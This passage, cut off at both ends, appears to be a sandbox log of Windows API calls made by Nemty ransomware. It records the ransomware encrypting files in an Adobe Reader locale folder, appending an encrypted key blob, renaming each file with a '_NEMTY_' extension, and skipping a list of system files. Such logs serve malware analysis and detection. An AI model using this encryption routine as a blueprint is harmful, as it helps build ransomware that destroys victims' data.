lpWideCharStr="DVA.RUS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0182.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUS", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.RUS", lpUsedDefaultChar=0x0) returned 7 [0182.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0182.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUS", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.RUS", lpUsedDefaultChar=0x0) returned 7 [0182.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.921] Sleep (dwMilliseconds=0x5) [0182.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20ad7ff0, dwHighDateTime=0x1d561e8)) [0182.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20ad7ff0, dwHighDateTime=0x1d561e8)) [0182.923] GetLastError () returned 0x0 [0182.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.924] GetLastError () returned 0x0 [0182.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.924] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.924] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.924] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.924] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="CGjFCu+8lvAlYj6afHCUvE2rA2cr3Hv7UjJ9p4EbtZXn7Q/PRVRxT47NJ04/n3U4\r\nvkSzItUQmijO1dRspAY3EFZHhS7DiiWum3zyOKC3eGoHm3dZMP1EnydnbnXuwdvx\r\nlCs1ZpCgHjQ1om5fC4s86x4iD0JLxXDgzTZ+b29cCeb8pV/QettFdqB3wk+t6En1\r\nySXw4jabjd5eEoAy6jwbINiu2BSN/QZGfQlmy7qYmFXOHTuO/e86ci0+UQO6HHPj\r\now/kNDX3wUvw/mrYEnKF8+k7fuPJzjk0oRamqwmxUuxifvMt6wumiYuVTBrwsVro\r\nsNdabggPxLobe2EScZ5rDw==\r\n", pcchString=0x653e5dc) returned 1 [0182.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\DVA.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\dva.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.925] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0182.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0182.925] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.925] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0182.928] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.928] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0182.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.928] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0182.928] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.928] CloseHandle (hObject=0x2e8) returned 1 [0182.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0182.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0182.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0182.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.929] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\DVA.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\dva.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\DVA.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\dva.rus._nemty_kgobjgd_")) returned 1 [0182.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0182.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.931] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.RUS", cAlternateFileName="")) returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2=".") returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="..") returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="...") returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="windows") returned -1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="rsa") returned -1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="NTDETECT.COM") returned -1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="ntldr") returned -1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="MSDOS.SYS") returned -1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="IO.SYS") returned -1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="boot.ini") returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="boot.ini") returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="ntuser.dat") returned -1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="desktop.ini") returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="CONFIG.SYS") returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="RECYCLER") returned -1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="BOOTSECT.BAK") returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="bootmgr") returned 1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="programdata") returned -1 [0182.931] lstrcmpiW (lpString1="eBook.RUS", lpString2="appdata") returned 1 [0182.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUS", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.RUS", lpUsedDefaultChar=0x0) returned 9 [0182.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUS", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.RUS", lpUsedDefaultChar=0x0) returned 9 [0182.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUS", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.RUS", lpUsedDefaultChar=0x0) returned 9 [0182.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUS", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.RUS", lpUsedDefaultChar=0x0) returned 9 [0182.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.932] Sleep (dwMilliseconds=0x5) [0182.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20afe150, dwHighDateTime=0x1d561e8)) [0182.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20afe150, dwHighDateTime=0x1d561e8)) [0182.940] GetLastError () returned 0x0 [0182.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.940] GetLastError () returned 0x0 [0182.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.940] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.940] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="r0yF0/pv86MpkPFv/NJ8Lv5fQrqm3s0AxALBCQFty93VQVeEkCNf26ZpjOzr2K5f\r\naUyqy16QNHzx39pKBqEvsX+nI6p8ZqARLWGsmaiWHxYTmYAgx9P0A/odG8GWcOg7\r\nkZoNAZ/z1BwtgRNG7V5QJrscRNIAYQLp2nmCdbwMhjX7kDHBGfKjQXT2rxjfi+eL\r\ngKLb+zHcRXxOYrdT/RkkI3qb3SvfcRLeq0mm/Mlb2uuIn3Mr10xMf4UKTH1DUSTh\r\nakcukZztV8IEk8tH2hVvKnZ2kchno9OuRtuCj5x9WDfmmYyIWvNDMQv9fE+L9cJG\r\no+MpGrHezqqbpCmIPcnmJA==\r\n", pcchString=0x653e5dc) returned 1 [0182.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\eBook.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ebook.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.941] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0182.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0182.941] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.941] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0182.943] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.943] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0182.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.943] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0182.943] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.943] CloseHandle (hObject=0x2e8) returned 1 [0182.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0182.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0182.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0182.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.944] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\eBook.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ebook.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\eBook.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ebook.rus._nemty_kgobjgd_")) returned 1 [0182.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0182.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.945] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.RUS", cAlternateFileName="")) returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2=".") returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="..") returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="...") returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="windows") returned -1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="rsa") returned -1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="NTDETECT.COM") returned -1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="ntldr") returned -1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="MSDOS.SYS") returned -1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="IO.SYS") returned -1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="boot.ini") returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="boot.ini") returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="ntuser.dat") returned -1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="desktop.ini") returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="CONFIG.SYS") returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="RECYCLER") returned -1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="BOOTSECT.BAK") returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="bootmgr") returned 1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="programdata") returned -1 [0182.945] lstrcmpiW (lpString1="EScript.RUS", lpString2="appdata") returned 1 [0182.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.RUS", lpUsedDefaultChar=0x0) returned 11 [0182.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.945] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.RUS", 